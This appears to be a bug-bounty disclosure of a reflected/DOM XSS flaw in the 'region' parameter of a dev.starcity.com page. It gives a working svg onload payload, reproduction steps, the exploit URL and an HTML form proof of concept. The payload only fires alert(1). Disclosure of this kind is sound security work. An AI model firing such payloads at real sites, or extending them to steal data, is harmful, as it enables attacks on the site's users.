DOM-Based XSS on Starcity.com
URL:
https://dev.starcity.com/communities/?region=san-francisco
Description:
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
Payload:
“><svg/onload=alert(1)>
Steps To Reproduce:
1. Goto this URL.
https://dev.starcity.com/communities/?region=san-francisco
2. Insert XSS Payload after URL.
3.XSS executed.
Final URL:
https://dev.starcity.com/communities/?region=san-francisco”><svg/onload=alert(1)>
XSS CSRF POC:
<html>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action=”https://dev.starcity.com/communities/”>
<input type=”hidden” name=”region” value=”san-francisco"><svg/onload=alert(1)>” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
POC:
